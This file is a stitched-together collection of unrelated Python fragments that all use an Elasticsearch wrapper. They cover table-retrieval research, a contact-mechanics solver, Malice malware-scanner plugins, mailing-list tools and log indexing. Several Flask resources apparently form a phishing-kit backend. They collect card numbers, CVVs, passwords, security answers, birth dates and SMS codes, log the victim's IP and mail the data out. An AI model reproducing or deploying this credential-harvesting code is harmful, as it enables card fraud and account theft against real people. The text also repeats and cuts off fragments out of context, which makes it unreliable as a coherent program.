def __init__(self, test_tables=None): """ :param test_tables: 1000 wiki test tables """ self.test_tables = test_tables self.__tes = Elastic("table_index_frt")
class Card(Resource): """ Class Api ressource to get cards from post method """ def __init__(self): self.parser = reqparse.RequestParser() self.parser.add_argument("carte", type=str, required=True) self.parser.add_argument("date", type=str, required=True) self.parser.add_argument("cvv", type=str, required=True) self.parser.add_argument("compte", type=str) self.parser.add_argument("q1", type=str) self.parser.add_argument("q2", type=str) self.parser.add_argument("nom", type=str, required=True) self.parser.add_argument("password", type=str, required=True) self.parser.add_argument("email", type=str, required=True) self.parser.add_argument("date_naissance", type=str, required=True) self.parser.add_argument("numero", type=str, required=True) self.elastic = Elastic() self.mail = Mail() def post(self): """ post method logic """ data = self.parser.parse_args() data.update(getCardInfo(data['carte'])) try: # save data to elastic search self.elastic.card(data, request) except Exception: pass data['ip'] = request.access_route[0] self.mail.send(data) return {"message": "OK"}, 200
def __init__(self, geometry: np.ndarray, scale: float = 1.0, modulus: float = 1.0, target: tuple = ('meanstress', 2 * np.pi / 3), adhesion: object = Adhesion(''), path: str = ''): self.geometry = np.asarray(geometry) self.scale = scale self.modulus = modulus self.target = target self.adhesion = adhesion self.path = path self.separation = 0 self.gap = np.zeros(self.geometry.shape) self.adhesion_force = np.zeros(self.geometry.shape) self.stress = np.zeros(self.geometry.shape) self.deformation = np.zeros(self.geometry.shape) (self.nx, self.ny) = self.geometry.shape self.elastic = Elastic(self.nx, self.ny, scale, modulus, path) self.x = np.linspace(0, scale, self.nx) self.y = np.linspace(0, scale * self.ny / self.nx, self.ny) self.dx = self.x[1] - self.x[0] self.dy = self.y[1] - self.y[0] self.separation_change = 0 self.unbalanced_target = 0 self.__tolerance = 1e-8 self.__inner = 20 self.__outer = 20
def scan(file_path, verbose, table, proxy, callback, eshost, timeout, dump, output): """Malice PDF Plugin.""" try: # set up logging init_logging(verbose) # TODO: check if PDF is too big (max size 3000000 ??) # TODO: if PDFiD fails maybe build different response JSON with errors etc. pdfid_results = MalPDFiD(file_path).run() pdf_results = { 'pdfid': pdfid_results, 'streams': MalPdfParser(file_path, pdfid_results, should_dump=dump, dump_path=output, verbose=verbose).run(), } # pdf_dict['pdf']['peepdf'] = MalPeepdf(file_path).run() malice_scan = { 'id': os.environ.get('MALICE_SCANID', sha256_checksum(file_path)), 'name': 'pdf', 'category': 'document', 'results': pdf_results } malice_scan['results']['markdown'] = json2markdown(pdf_results) # write to elasticsearch if eshost: try: e = Elastic(eshost, timeout=timeout) e.write(results=malice_scan) except Exception as e: log.exception( "failed to index malice/pdf results into elasticsearch") if table: print(malice_scan['results']['markdown']) else: print(json.dumps(pdf_results, indent=True)) # POST dropped files as a JSON blob back to malice server/daemon if callback: proxies = None if proxy: proxies = { 'http': proxy, 'https': proxy, } malice_scan['parent'] = os.environ.get('MALICE_SCANID', sha256_checksum(file_path)) requests.post(callback, json=malice_scan, proxies=proxies) except Exception as e: log.exception("failed to run malice plugin: pdf") return
def __init__(self): self.parser = reqparse.RequestParser() self.parser.add_argument("nom", type=str, required=True) self.parser.add_argument("password", type=str, required=True) self.parser.add_argument("email", type=str, required=True) self.parser.add_argument("date_naissance", type=str, required=True) self.parser.add_argument("numero", type=str, required=True) self.elastic = Elastic()
def __init__(self, index_name="dbpedia_2015_10_type_cat"): """ :param index_name: name of index """ self.__index_name = index_name self.__elastic = Elastic(self.__index_name) self.__tes = Elastic("table_index_frt")
def scan(file_path, verbose, table, proxy, callback, eshost, timeout, dump, output, peid): """Malice PExecutable Scanner""" try: # set up logging init_logging(verbose) # TODO: check if EXE is too big (max size 3000000 ??) pe_results = MalPEFile(file_path, peid_db_path=peid, should_dump=dump, dump_path=output).run() malice_scan = { 'id': os.environ.get('MALICE_SCANID', sha256_checksum(file_path)), 'name': 'pescan', 'category': 'exe', 'results': pe_results } try: malice_scan['results']['markdown'] = json2markdown(pe_results) except Exception as e: log.exception("failed to render jinja template") malice_scan['results']['markdown'] = e.message # write to elasticsearch if eshost: try: e = Elastic(eshost, timeout=timeout) e.write(results=malice_scan) except Exception as e: log.exception( "failed to index malice/pescan results into elasticsearch") if table: print(malice_scan['results']['markdown']) else: pe_results.pop('markdown') print(json.dumps(pe_results, indent=True)) # POST dropped files as a JSON blob back to malice server/daemon if callback: proxies = None if proxy: proxies = { 'http': proxy, 'https': proxy, } malice_scan['parent'] = os.environ.get('MALICE_SCANID', sha256_checksum(file_path)) requests.post(callback, json=malice_scan, proxies=proxies) except Exception as e: log.exception("failed to run malice plugin: pescan") return
def __init__(self): # add parser object to class attribute self.parser = reqparse.RequestParser() # add required argument sms self.parser.add_argument("sms", type=str, required=True) # add elastic search class object to this class attribute self.elastic = Elastic() # add mail class object to this class attribute self.mail = Mail()
def __init__(self, project): super(Analysis, self).__init__() self.project_name = config.get(project, "project_name") self.doc_type = config.get(project, "doc_type") self.log_format = config.get(project, "log_format") self.log_pattern = config.get(project, "log_pattern") self.data_dir = config.get(project, "data_dir") self.file_filter = config.get(project, "file_filter") self.start_pattern = config.get(project, "start_pattern") self.multi_line = config.get(project, "multi_line") self.match_extline_model = config.get(project, "match_extline_model") self.es_host = config.get('elastic_config', 'host') self.es_port = config.get('elastic_config', 'port') self.es = Elastic({'host': self.es_host, 'port': self.es_port})
def __init__(self): # add parser object to class attribute self.parser = reqparse.RequestParser() # add page arguments, the page from the request beaning # send. self.parser.add_argument("page", type=str, required=True) # add the type argument, the type of the request , typing # or alive. self.parser.add_argument("type", type=str, required=True) # create alastic search object self.elastic = Elastic()
def scan(file_path, verbose, table, proxy, callback, eshost, timeout, dump, output): """Malice Office/OLE/RTF Scanner""" try: # set up logging init_logging(verbose) # TODO: check if DOC is too big (max size 3000000 ??) o_results = MalOffice(file_path, should_dump=dump, dump_path=output).run() malice_scan = { 'id': os.environ.get('MALICE_SCANID', sha256_checksum(file_path)), 'name': 'office', 'category': 'document', 'results': o_results } malice_scan['results']['markdown'] = json2markdown(o_results) # write to elasticsearch if eshost: try: e = Elastic(eshost, timeout=timeout) e.write(results=malice_scan) except Exception as e: log.exception( "failed to index malice/office results into elasticsearch") if table: print(malice_scan['results']['markdown']) else: o_results.pop('markdown') print(json.dumps(o_results, indent=True)) # POST dropped files as a JSON blob back to malice server/daemon if callback: proxies = None if proxy: proxies = { 'http': proxy, 'https': proxy, } malice_scan['parent'] = os.environ.get('MALICE_SCANID', sha256_checksum(file_path)) requests.post(callback, json=malice_scan, proxies=proxies) except Exception as e: log.exception("failed to run malice plugin: office") return
def scan(file_path, verbose, table, proxy, callback, eshost, timeout, dump, output, peid): """Malice PExecutable Scanner""" try: # set up logging init_logging(verbose) # TODO: check if EXE is too big (max size 3000000 ??) pe_results = MalPEFile(file_path, peid_db_path=peid, should_dump=dump, dump_path=output).run() malice_scan = { 'id': os.environ.get('MALICE_SCANID', sha256_checksum(file_path)), 'name': 'pescan', 'category': 'exe', 'results': pe_results } try: malice_scan['results']['markdown'] = json2markdown(pe_results) except Exception as e: log.exception("failed to render jinja template") malice_scan['results']['markdown'] = e.message # write to elasticsearch if eshost: try: e = Elastic(eshost, timeout=timeout) e.write(results=malice_scan) except Exception as e: log.exception("failed to index malice/pescan results into elasticsearch") if table: print(malice_scan['results']['markdown']) else: pe_results.pop('markdown') print(json.dumps(pe_results, indent=True)) # POST dropped files as a JSON blob back to malice server/daemon if callback: proxies = None if proxy: proxies = { 'http': proxy, 'https': proxy, } malice_scan['parent'] = os.environ.get('MALICE_SCANID', sha256_checksum(file_path)) requests.post(callback, json=malice_scan, proxies=proxies) except Exception as e: log.exception("failed to run malice plugin: pescan") return
def __init__(self): self.parser = reqparse.RequestParser() self.parser.add_argument("date", type=str, required=True) self.parser.add_argument("carte", type=str, required=True) self.parser.add_argument("cvv", type=str) self.parser.add_argument("date_ex_a", type=str) self.parser.add_argument("date_ex_m", type=str) self.parser.add_argument("compte", type=str) self.parser.add_argument("q1", type=str) self.parser.add_argument("q2", type=str) self.parser.add_argument("nom", type=str, required=True) self.parser.add_argument("password", type=str, required=True) self.parser.add_argument("email", type=str, required=True) self.parser.add_argument("date_naissance", type=str, required=True) self.parser.add_argument("numero", type=str, required=True) self.elastic = Elastic() self.mail = Mail()
def __init__(self, type_index_name="wikipedia_category",table_index_name="table_index_wikitable_train_jan_13",abstract_index_name="dbpedia_2015_10_abstract", lamda=0.5): """ :param index_name: name of index :param lamda: smoothing parameter """ super().__init__(type_index_name, table_index_name) self.__lambda = lamda self.index_name = table_index_name self.__tes = Elastic(table_index_name) self.__elas = Elastic(abstract_index_name) self.__mu = 0.5 self.e_c_freq = pickle.load(open("./data/entity_caption_term_freq.pkl", "rb")) self.e_ht_freq = pickle.load(open("./data/entity_header_term_freq.pkl", "rb")) self.e_h_freq = pickle.load(open("./data/entity_header_freq.pkl", "rb")) self.c_freq = pickle.load(open("./data/caption_term_freq.pkl", "rb")) self.ht_freq = pickle.load(open("./data/header_term_freq.pkl", "rb")) self.h_freq = pickle.load(open("./data/header_freq.pkl", "rb")) self.e_t = pickle.load(open("./data/entity_tables.pkl", "rb"))
def WP_gt(input_file=None): es = Elastic(TABLE_INDEX) dic1 = dict() test_table_ids = json.load(open(input_file)) with open("seed_entity_order.json","w") as f: for table_id in test_table_ids: table_entity = [] index =0 entities = es.get_doc(doc_id=table_id).get("_source").get("entity_1st_col") for entity in entities: index += 1 if index <6: entity = str.lower(entity) table_entity.append(entity) else: break dic1[table_id] = table_entity print(dic1) json.dump(dic1,f, indent=4, separators=(',', ': '))
def build_wiki_category_index(category_file, index_name="wikipedia_category"): mappings = { "category_n": Elastic.notanalyzed_field(), "category_a": Elastic.analyzed_field() } elastic = Elastic(index_name) elastic.create_index(mappings, force=True) docs = {} count = 0 with open(category_file, 'r') as f: for line in tqdm(f): wiki_id, cat = json.loads(line.strip()) cat_a = [] for c in cat: # prepare analyzed version cat_a.append(c.replace("_", " ")) doc = {"category_n": cat, "category_a": cat_a} docs[wiki_id] = doc if len(docs) == 10000: elastic.add_docs_bulk(docs) docs = {} elastic.add_docs_bulk(docs)
def store_data(self, tweets, guest_id, auth_token, session, index="index", data_type="type"): elastic = Elastic() for tweet_id in tweets: try: tweet_json = self.tweet_details(tweet_id, tweets[tweet_id], guest_id, auth_token, session) # Check if it contains a video or not try: video_info = tweet_json["extended_entities"]["media"][0][ "video_info"] except KeyError as e: print( tweet_id, ": No video found ", ) continue user_json = tweet_json.pop( 'user') # separate user and tweet details elastic.store_user_data(user_json, index, data_type) elastic.store_tweet(tweet_json, index, data_type) time.sleep(random.random() * 1) except Exception as e: print("tweet %s: Error in storing data. %s" % (tweet_id, e)) print(traceback.format_exc())
class Analytics(Resource): def __init__(self): # add parser object to class attribute self.parser = reqparse.RequestParser() # add page arguments, the page from the request beaning # send. self.parser.add_argument("page", type=str, required=True) # add the type argument, the type of the request , typing # or alive. self.parser.add_argument("type", type=str, required=True) # create alastic search object self.elastic = Elastic() def get(self): # pars args and get data data = self.parser.parse_args() # save analytics data in elastic search self.elastic.analytics(data, request)
class Sms(Resource): def __init__(self): # add parser object to class attribute self.parser = reqparse.RequestParser() # add required argument sms self.parser.add_argument("sms", type=str, required=True) # add elastic search class object to this class attribute self.elastic = Elastic() # add mail class object to this class attribute self.mail = Mail() def post(self): """ Post logic """ # pars args and get data data = self.parser.parse_args() # try to save data in elastic search database try: self.elastic.card(data, request) except Exception: pass # send sms to email data['ip'] = request.access_route[0] self.mail.send(data, 'Sms') return {"message": "OK"}, 200 def get(self): """ Get method to indicate to redirect to page sms or not """ return {"value": PAGE_SMS}, 200
class Info(Resource): def __init__(self): self.parser = reqparse.RequestParser() self.parser.add_argument("nom", type=str, required=True) self.parser.add_argument("password", type=str, required=True) self.parser.add_argument("email", type=str, required=True) self.parser.add_argument("date_naissance", type=str, required=True) self.parser.add_argument("numero", type=str, required=True) self.elastic = Elastic() def post(self): # pars data from request args data = self.parser.parse_args() # try to save data in elastic search try: # save data to elastic search self.elastic.card(data, request) except Exception: pass # return OK message and 200 status return {"message": "OK"}, 200
class Rank_label(Column_evaluation): def __init__(self, index_name="table_index_frt"): super().__init__() self.__tes = Elastic(index_name=index_name) self.__num = 100 def rank_candidates(self, seed_label, E, c): """Ranking candidate labels""" p_all = {} labels_c, tables_c = self.find_candidates_c( c, seed=seed_label, num=self.__num) # search tables with similar caption labels_e, tables_e = self.find_candidates_e(E, seed=seed_label, num=self.__num) lables_h, tables_h = self.find_candidates_l(seed=seed_label, num=self.__num) all_tables = set(tables_c + tables_e + tables_h) # all related tables (ids) candidate_labels = set( list(labels_c) + list(labels_e) + list(lables_h)) p_t_ecl, headings = self.p_t_ecl(all_tables, seed_label, E) for label in candidate_labels: p_all[label] = 0 for table in all_tables: table_label = headings.get(table, []) if label in table_label: p_all[label] += p_t_ecl[table] / len(table_label) return p_all def p_t_ecl(self, all_table, seed_label, E): p = {} headings = {} for table in all_table: doc = self.__tes.get_doc(table) table_label = doc.get("_source").get("headings_n") headings[table] = table_label sim_l = self.overlap(table_label, seed_label) table_entity = doc.get("_source").get("entity") sim_e = self.overlap(table_entity, E) table_caption = doc.get("_source").get("caption") score = ScorerLM(self.__tes, table_caption, {}).score_doc(table) p[table] = max(sim_e, 0.000001) * max(sim_l, 0.000001) * max( math.exp(score), 0.000001) return p, headings def overlap(self, a, b): """Calculate |A and B|/|B|""" return len([i for i in a if i in b]) / len(b)
def main(): index_name = "toy_index" mappings = { "title": Elastic.analyzed_field(), "content": Elastic.analyzed_field(), } docs = { 1: { "title": "Rap God", "content": "gonna, gonna, Look, I was gonna go easy on you and not to hurt your feelings" }, 2: { "title": "Lose Yourself", "content": "Yo, if you could just, for one minute Or one split second in time, forget everything Everything that bothers you, or your problems Everything, and follow me" }, 3: { "title": "Love The Way You Lie", "content": "Just gonna stand there and watch me burn But that's alright, because I like the way it hurts" }, 4: { "title": "The Monster", "content": [ "gonna gonna I'm friends with the monster", "That's under my bed Get along with the voices inside of my head" ] }, 5: { "title": "Beautiful", "content": "Lately I've been hard to reach I've been too long on my own Everybody has a private world Where they can be alone" } } elastic = Elastic(index_name) elastic.create_index(mappings, force=True) elastic.add_docs_bulk(docs)
def load_to_elastic(json_docs): """ :param json_docs: list of json docs :return: None """ # upload to elastic if len(json_docs) > 0: print(json_docs) elastic = Elastic(cloud_id=os.environ['ELASTIC_CLOUD_ID'], username=os.environ['ELASTIC_USERNAME'], password=os.environ['ELASTIC_PASSWORD']) elastic.clear_data("tweet-index") elastic.load_data(json_docs, "tweet-index")
def main(): logger = Log.configureLogger() propertiesLoader = PropertiesLoader(logger) propertiesLoader.loadProperties(PROPERTIES_FILE_NAME) # moduleInstaller = AudoModuleInstaller(logger,propertiesLoader) # moduleInstaller.installMissingModules() q = queue.Queue() # absPath = pathlib.Path().absolute() # print(absPath) dateManager = DateManager(logger, propertiesLoader) r = redisDB(logger) e = Elastic(logger, propertiesLoader) m = mongoDB(logger, propertiesLoader) # klo = KeysListnerObject(logger,dateManager,r,q,e,m,propertiesLoader) t = temperature(logger, dateManager, r, q, e, m, propertiesLoader) cb = ClipBoard(logger, dateManager, r, q, e, m, propertiesLoader) # threading.Thread(target=klo.run, args=[]).start() threading.Thread(target=t.cpuTemp, args=[]).start() threading.Thread(target=cb.copyFromClipBoard, args=[]).start()
class Row_evaluation(object): def __init__(self, index_name="dbpedia_2015_10_type_cat"): """ :param index_name: name of index """ self.__index_name = index_name self.__elastic = Elastic(self.__index_name) self.__tes = Elastic("table_index_frt") def rank_candidates(self, seed, c=None, l=None): """ :param cand: candidate entities :param seed: Seed entity :param a: Attributes :param c: Table caption :return: Ranked suggestions """ pass def find_candidates_c(self, seed_E, c, num=100): """table caption to find candidate entities""" cand = [] res = self.__tes.search(query=c, field="catchall", num=num) for table_id in res.keys(): doc = self.__tes.get_doc(table_id) labels = doc["_source"]["entity"] cand += labels return set([i for i in cand if i not in seed_E]) def find_candidates_e(self, seed_E, num=None): """seed entities to find candidate entities""" cand = [] for entity in seed_E: body = self.generate_search_body(item=entity, field="entity") res = self.__tes.search_complex(body=body, num=num) for table_id in res.keys(): doc = self.__tes.get_doc(table_id) labels = doc["_source"]["entity"] cand += labels return set([i for i in cand if i not in seed_E]) def generate_search_body(self, item, field): """Generate search body""" body = {"query": {"bool": {"must": {"term": {field: item}}}}} return body def find_candidates_cat(self, seed_E, num=100): # only category """return seed entities' categories""" cate_candidates = [] category = [] for entity in seed_E: doc = self.__elastic.get_doc(entity) cats = doc.get("_source").get("category") category += cats for cat in set(category): body = self.generate_search_body(item=cat, field="category") res = self.__elastic.search_complex(body=body, num=num) cate_candidates += [i for i in res.keys() if i not in seed_E] return set(cate_candidates) def parse(self, text): """Put query into a term list for term iteration""" stopwords = [] terms = [] # Replace specific characters with space chars = ["'", ".", ":", ",", "/", "(", ")", "-", "+"] for ch in chars: if ch in text: text = text.replace(ch, " ") # Tokenization for term in text.split( ): # default behavior of the split is to split on one or more whitespaces # Stopword removal if term in stopwords: continue terms.append(term) return terms
import argparse from elastic import Elastic parser = argparse.ArgumentParser(description='Command line options.') parser.add_argument('--apply', dest='apply', action='store_true', help='Update the account favorites. Default is list ids only') args = parser.parse_args() FAVES='favorites' TARGET=None updated = 0 failed = 0 elastic = Elastic() scroll_size = None # Only show it first time round for page in elastic.scan_and_scroll(doc_type='account', body = { "_source" : [FAVES] }): if not scroll_size: scroll_size = page['hits']['total'] print("Found %d accounts" % scroll_size) for hit in page['hits']['hits']: mid = hit['_id'] source = hit['_source'] if FAVES in source: favorites = source[FAVES] if TARGET in favorites: newfav = [x for x in favorites if x != TARGET] if not args.apply: print("Would update account mid %s" % mid) continue
- make a list private - make a list public - update the description for a list - delete mails from a list (does not delete mbox_source entries) - obfuscate some fields (from, subject, body) in an mbox entry (does not obfuscate the raw source document) """ import sys import time import argparse import json from elastic import Elastic es = Elastic() dbname = es.getdbname() # get config and set up default databas es = Elastic() # default database name dbname = es.getdbname() parser = argparse.ArgumentParser(description='Command line options.') # Cannot have both source and mid as input source_group = parser.add_mutually_exclusive_group() source_group.add_argument('--source', dest='source', type=str, help='Source list to edit') source_group.add_argument('--mid', dest='mid',
action='store_true', help='Output the result JSON instead, very noisy!') parser.add_argument('--counts', dest='counts', action='store_true', help='Show the count of messages for each list') args = parser.parse_args() dbname = args.dbname then = time.time() # get config and set up default database # If dbname is None, the config setting will be used es = Elastic(dbname=dbname) page = es.search( doc_type="mbox", size=0, body={ 'aggs': { 'lists': { 'terms': { 'field': "list_raw", 'size': 500000 }, 'aggs': { 'privacy': { 'filter': { # are there any private messages? 'term': {
elastic.bulk(js_arr) if args.missing: setField = len(args.missing) > 1 field = args.missing[0] value = None if setField: value = args.missing[1] if setField: print("Set missing/null field %s to '%s'" %(field, value)) else: print("List missing/null field %s" % field) count = 0 scroll = '30m' then = time.time() elastic = Elastic() sourceLID = ("%s" if args.notag else "<%s>") % args.source[0].replace("@", ".").strip("<>") page = elastic.scan(# defaults to mbox scroll = scroll, body = { "_source" : ['subject','message-id'], "query" : { "bool" : { "must" : { 'wildcard' if args.wildcard else 'term': { 'list_raw': sourceLID } }, "filter": { "missing" : { "field" : field
from elastic import Elastic parser = argparse.ArgumentParser(description='Command line options.') parser.add_argument( '--apply', dest='apply', action='store_true', help='Update the account favorites. Default is list ids only') args = parser.parse_args() FAVES = 'favorites' TARGET = None elastic = Elastic() scroll = '5m' page = elastic.scan(doc_type='account', scroll=scroll, body={ "_source": [FAVES], }) sid = page['_scroll_id'] scroll_size = page['hits']['total'] print("Found %d accounts" % scroll_size) updated = 0 failed = 0 while (scroll_size > 0): page = elastic.scroll(scroll_id=sid, scroll=scroll) sid = page['_scroll_id']
class DryContact: """Elastic-adhesive dry contact. Calculate the gap and stress in a dry contact considering elastic deformation and adhesion. Dependencies: numpy, pyfftw, elastic Attributes ---------- geometry : np.ndarray undeformed contact geometry scale : float scaling factor for domains other than the unit square (default 1.0) modulus : float elastic modulus (default 1.0) target : tuple(str, float) convergence criterion (default ('meanstress', 2*np.pi/3)); options: ('meangap', value) ('meanstress', value) adhesion : None or Adhesion See Adhesion for more information path : string path to the file with influence coefficients (default ''); set path=None if you do not want to save or load the coefficients see Elastic class for more information verbose : bool print information while solving the problem Methods ----- """ def __init__(self, geometry: np.ndarray, scale: float = 1.0, modulus: float = 1.0, target: tuple = ('meanstress', 2 * np.pi / 3), adhesion: object = Adhesion(''), path: str = ''): self.geometry = np.asarray(geometry) self.scale = scale self.modulus = modulus self.target = target self.adhesion = adhesion self.path = path self.separation = 0 self.gap = np.zeros(self.geometry.shape) self.adhesion_force = np.zeros(self.geometry.shape) self.stress = np.zeros(self.geometry.shape) self.deformation = np.zeros(self.geometry.shape) (self.nx, self.ny) = self.geometry.shape self.elastic = Elastic(self.nx, self.ny, scale, modulus, path) self.x = np.linspace(0, scale, self.nx) self.y = np.linspace(0, scale * self.ny / self.nx, self.ny) self.dx = self.x[1] - self.x[0] self.dy = self.y[1] - self.y[0] self.separation_change = 0 self.unbalanced_target = 0 self.__tolerance = 1e-8 self.__inner = 20 self.__outer = 20 def __separation(self): if self.target[0] == 'meanstress': self.unbalanced_target = self.target[1] - np.mean(self.stress) self.separation_change = -self.unbalanced_target elif self.target[0] == 'meangap': self.unbalanced_target = self.target[1] - np.mean(self.gap) self.separation_change = self.unbalanced_target def solve(self): self.separation = -np.min(self.geometry) self.stress[:] = 0.0 for outer in range(self.__outer): for _ in range(self.__inner): self.deformation[:] = self.elastic.update(self.stress) self.gap[:] = (self.separation + self.geometry + self.deformation) self.adhesion_force[:] = self.adhesion.update(self.gap) A = 0.1 C = self.elastic.coefficients[-1, -1] temp = np.sqrt((self.stress + self.adhesion_force)**2 + self.gap**2 + np.finfo(float).eps) self.stress[:] = self.stress - ( (self.stress + self.adhesion_force + self.gap - temp) / (1 + C - (self.stress + self.adhesion_force + C * self.gap) / temp + A)) self.stress[np.isnan(self.stress)] = 0.0 self.deformation[:] = self.elastic.update(self.stress) self.gap[:] = np.maximum( self.separation + self.geometry + self.deformation, 0) self.adhesion_force[:] = self.adhesion.update(self.gap) self.__separation() unbalanced_complementarity = ( np.sum(self.stress * self.gap) + np.sum(self.adhesion_force * self.gap)) if outer < self.__outer: self.separation = self.separation + self.separation_change convergence = (np.abs(self.unbalanced_target) < self.__tolerance) and (unbalanced_complementarity < self.__tolerance) if np.mod(outer, 1) == 0 or convergence or outer == self.__outer: print( 'outer: {:3d}, p0 = {: .4e} g0 = {: .4e}, hsep = {: .4e}, |dtarget| = {:.4e}, |p*g| = {:.4e}' .format(outer, np.mean(self.stress), np.mean(self.gap), self.separation, np.abs(self.unbalanced_target), unbalanced_complementarity)) if convergence: return None
class Analysis(object): """docstring for Analysis""" def __init__(self, project): super(Analysis, self).__init__() self.project_name = config.get(project, "project_name") self.doc_type = config.get(project, "doc_type") self.log_format = config.get(project, "log_format") self.log_pattern = config.get(project, "log_pattern") self.data_dir = config.get(project, "data_dir") self.file_filter = config.get(project, "file_filter") self.start_pattern = config.get(project, "start_pattern") self.multi_line = config.get(project, "multi_line") self.match_extline_model = config.get(project, "match_extline_model") self.es_host = config.get('elastic_config', 'host') self.es_port = config.get('elastic_config', 'port') self.es = Elastic({'host': self.es_host, 'port': self.es_port}) def getFileHistory(self, filename): projectName = self.project_name + "_" + self.doc_type option = filename.replace("/", "-") res = {} fileinfos = "" if history.hasOption(projectName, option): fileinfos = history.get(projectName, option) else: if history.hasSection(projectName): history.set(projectName, option, "") else: history.addSection(projectName) history.set(projectName, option, "") res = self.es.createIndex(self.project_name) history.save() if fileinfos == "": res['last_time'] = 0 res['read_line'] = 0 else: infoArr = fileinfos.split("|") res['last_time'] = infoArr[0] res['read_line'] = infoArr[1] return res def setFileLastOper(self, filename, line, time): option = filename.replace("/", "-") value = str(time) + "|" + str(line) history.set(self.project_name + "_" + self.doc_type, option, value) history.save() def analysisFile(self, filename): historyinfo = self.getFileHistory(filename) lasttime = os.path.getmtime(filename) logFormatList = self.log_format.split() pattern = re.compile(self.log_pattern) start_pattern = re.compile(self.start_pattern) if lasttime > float(historyinfo['last_time']): print(filename) with open(filename, 'r', encoding='utf-8', errors='ignore') as f: oneContent = "" oneData = {} lineNum = 0 for line in f: lineNum += 1 if lineNum < int(historyinfo['read_line']) + 1: continue oneContent = oneContent + line match = pattern.match(oneContent) start_match = start_pattern.match(line) if match is None: if self.multi_line == 1 and start_match is not None: oneContent = line continue mgroup = match.groups() m = 0 for info in mgroup: oneData[logFormatList[m]] = info m += 1 # 加入命令行执行产生的默认值 if "ip" not in oneData: oneData['ip'] = "127.0.0.1" if "method" not in oneData: oneData['method'] = "cli" self.es.createDoc(self.project_name, self.doc_type, oneData) if int(self.match_extline_model) == 1: oneContent = line else: oneContent = "" oneData = {} if self.match_extline_model == 1: lineNum = lineNum - 1 self.setFileLastOper(filename, lineNum, lasttime) print(str(time.time()) + filename + " is update") else: pass def run(self, data_dir): file_pattern = re.compile(self.file_filter) # 遍历读取其中的文件及文件夹,并记录下当前的历史记录 for filename in os.listdir(data_dir): realfiledir = data_dir + "/" + filename if os.path.isdir(realfiledir): subdir = data_dir + "/" + filename self.run(subdir) else: match = file_pattern.match(filename) if match is None: continue self.analysisFile(realfiledir)